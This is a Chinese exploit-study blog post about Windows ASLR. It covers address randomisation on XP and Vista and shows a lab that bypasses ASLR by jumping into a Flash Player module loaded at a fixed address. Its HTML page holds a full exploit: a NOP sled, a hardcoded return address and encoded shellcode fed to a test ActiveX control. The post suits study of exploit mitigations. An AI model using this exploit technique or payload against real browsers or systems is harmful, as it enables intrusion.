其他分享
首页 > 其他分享> > 漏洞学习笔记-017-ASLR简介

漏洞学习笔记-017-ASLR简介

作者:互联网


ASLR技术的介绍和简单攻击思路

本文来源:Moeomu的博客


ASLR技术简介

纵观前面介绍的所有漏洞利用方法都有着一个共同的特征:都需要确定一个明确的跳转地址。无论是JMP ESP等通用跳板指令还是Ret2Libc使用的各指令,我们都要先确定这条指令的入口点。所谓惹不起躲得起,微软的ASLR(Address Space Layout Randomization)技术就是通过加载程序的时候不再使用固定的基址加载,从而干扰shellcode定位的一种保护机制

实际上ASLR的概念在Windows XP时代就已经提出来了,只不过XP上面的ASLR功能很有限,只是对PEB和TEB进行了简单的随机化处理,而对于模块的加载基址没有进行随机化处理,直到Windows Vista出现后,ASLR才真正开始发挥作用

与SafeSEH类似ASLR的实现也需要程序自身的支持和操作系统的双重支持,其中程序的支持不是必需的

映像随机化

堆栈随机化

int main()
{
  char* heap = (char *)malloc(100);
  char stack[100];
  printf("Address of heap:%#0.4x\nAddress of stack:%#0.4x", heap, stack);
  getchar();

  return 0;
}

Windows Vista
Windows XP

PEB和TEB的随机化

int main()
{
    unsigned int teb;
    unsigned int peb;

    __asm
    {
        mov eax, FS:[0x18]
        mov teb, eax
        mov eax, dword ptr[eax+0x30]
        mov peb, eax
    }
    printf("PEB:%#x\nTEB:%#x", peb, teb);
    getchar();

    return 0;
}

PEB/TEB-random-Vista

ASLR的缺陷

攻击未启用ASLR的模块

准备工作

实验环境:Windows Vista SP0,IE7,Adobe Flash Player 9.0.124

步骤

ASLR未启用情况

<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=9,0,28,0" width="160" height="260">
<param name="movie" value="1.swf" />
<param name="quality" value="high" />
<embed src="1.swf" quality="high" pluginspage="http://www.adobe.com/shockwave/download/download.cgi?P1_Prod_Version=ShockwaveFlash" type="application/x-shockwave-flash" width="160" height="260">
</embed>
</object>

<object classid="clsid:ACA3927C-6BD1-4B4E-8697-72481279AAEC" id="test">
</object>

<script>
	var s = "\u9090";

	while (s.length < 54)
	{
		s += "\u9090";
	}

	s += "\u42F2\u3009";
	s += "\u9090\u9090";
	s += "\u68fc\u0a6a\u1e38\u6368\ud189\u684f\u7432\u0c91\uf48b\u7e8d\u33f4\ub7db\u2b04\u66e3\u33bb\u5332\u7568\u6573\u5472\ud233\u8b64\u305a\u4b8b\u8b0c\u1c49\u098b\u698b\uad08\u6a3d\u380a\u751e\u9505\u57ff\u95f8\u8b60\u3c45\u4c8b\u7805\ucd03\u598b\u0320\u33dd\u47ff\u348b\u03bb\u99f5\ube0f\u3a06\u74c4\uc108\u07ca\ud003\ueb46\u3bf1\u2454\u751c\u8be4\u2459\udd03\u8b66\u7b3c\u598b\u031c\u03dd\ubb2c\u5f95\u57ab\u3d61\u0a6a\u1e38\ua975\udb33\u6853\u616B\u6F6F\u4D68\u7369\u8B61\u53c4\u5050\uff53\ufc57\uff53\uf857";

	test.test(s);
</script>

</body>
</html>

shellcode运行成功

标签:ASLR,简介,基址,映像,随机化,eax,地址,017
来源: https://www.cnblogs.com/bluedawn/p/Exploit-Study-Notes-17.html